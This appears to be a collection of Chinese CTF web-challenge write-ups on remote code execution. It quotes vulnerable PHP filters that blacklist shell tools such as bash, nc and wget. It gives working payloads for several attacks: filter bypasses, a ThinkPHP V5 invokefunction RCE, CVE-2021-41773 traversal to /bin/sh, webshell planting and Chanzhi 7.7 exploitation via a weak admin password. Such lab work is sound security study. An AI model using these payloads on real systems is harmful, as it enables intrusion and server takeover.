header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
取反绕过即可,采用system函数执行命令
比如想要执行eval(system(ls))
采用脚本取反
得到:%8C%86%8C%8B%9A%92
同理ls取反后得到:%93%8C
写入时:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
$code1="system";
$code2="ls /";
echo "
";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";
?>
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
然后再cat 就可以了。
源码里什么都没有,查备份文件
robots.txt
访问/NSS/index.php/
搜一下ThinkPHP V5漏洞,去看看怎么利用这个漏洞
利用方法:
http://node2.anna.nssctf.cn:28507/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
可是直接 cat /flag 或者cat /flag/flag,都不对
用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者,不过有时候find命令不是很灵。
直接cat $(find / -name flag)
也可以
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
过滤了很多东西,但是管道符没有过滤,用到了Linux的tee命令,用tee命令把想要执行的命令写进一个文档里面,再去访问这个文件就可以执行命令了。
payload:
?url=l\s / | tee 1.txt 再访问1.txt
a_here_is_a_f1ag里面没有flag。
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
这里过滤了很多东西,这里取反绕过和异或绕过都不行。
只能用正则最大回溯绕过,正则回溯超过100万次就会返回false,具体看P神的文章。
json_decode的话,就要把command进行json格式化,[‘cmd’]表示JSON中"cmd"键对应的值。
$txw4ever是一个包含JSON数据的字符串,json_decode函数将其解码为一个关联数组,并将其赋值给$command变量,其中$command[‘cmd’]表示JSON中"cmd"键对应的值。
checkdata对一些字符串进行过滤,但是又不知道是什么
eval执行命令,但是没有echo就没有回显,用?>把前面的PHP标签进行闭合,再写一个PHP代码用来执行echo。
?>
相当于对的替换,而
=?>
则是相当于 echo>
。?>写法需要开启short_open_tag,=?>则是默认开启。
import requests
url = "http://node4.anna.nssctf.cn:28607/"
data='{"cmd":"?>= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)
无数字和字母RCE,这里异或和取反都用不了
这里参考这篇P神的文章里的方法三
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
这里相当于是 ASSERT($_POST[_]);
这里还要URL编码再上传
成功绕过
可以执行命令,但是system,exec,shell_exec,popen,proc_open,passthru这些都用不了。
用到file_put_contents函数来写入木马
_=file_put_contents("2.php","");
这里的$
符号前必须加\
,这才是linux正确的写马方式,如果是
输出只有,加 \ 代表转义。
蚁剑连接就得flag。
居然都不输入参数,可恶!!!!!!!!!
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '
';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
我的第一个想法是取反绕过,因为过滤了很多字符,但是没有过滤~
但是不能用。
又不能用system什么的函数,但是没有过滤printf
,也没有过滤反引号。
所以payload就是?code=printf(`c\at /fffffffffflagafag`);
标签说是CVE-2021-41773(Apache HTTP Server路径穿越漏洞),现搜学习了一下
BP抓包,改为POST形式传入下面的payload
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
输入echo;ls /
echo;cat /run.sh
echo;cat /flag_is_here/2/0/7/6/flag
一道easy的渗透题,这道题的漏洞点挺多的。
打开题目页,页面左下角有个蝉知7.7
搜一下蝉知7.7,浅浅的看了一下和题目还挺像的。
标签说是RCE、目录穿越,题目给的页面没有什么有用的信息
扫一下目录,用dirsearch扫有点慢就换成了御剑
访问admin.php
弱口令admin/12345,还可以用BrupSuite来爆破
然后找到设计->主题->随便一个模板->自定义
这个地方页头是可以进行编辑的。这里随便写然后保存
然后找到设计->组件->素材库
这里有一个文件上传的点
改成上面这个样子 ../../../../../system/tmp/rioq
,就是刚刚爆出来的绝对路径去掉后缀,然后保存。
再回到刚刚的地方
保存后点击可视化编辑
最后就是cat /flag
就出来了
还有另一个就是跟前面搜的博客里的方法一样,也是目录穿越,在设计->高级
这个地方也可以插入恶意代码。
这个是比较多人写的。
就是是找设计->主题->随便一个模板->自定义->导出模板->保存
这里疑似是任意文件读取,抓个包
这一抓不到这样的包的话,就Forward一次。
base64解码得/var/www/html/system/tmp/theme/default/sb.zip
下载文件的绝对路径,把路径换成 /flag
拿下。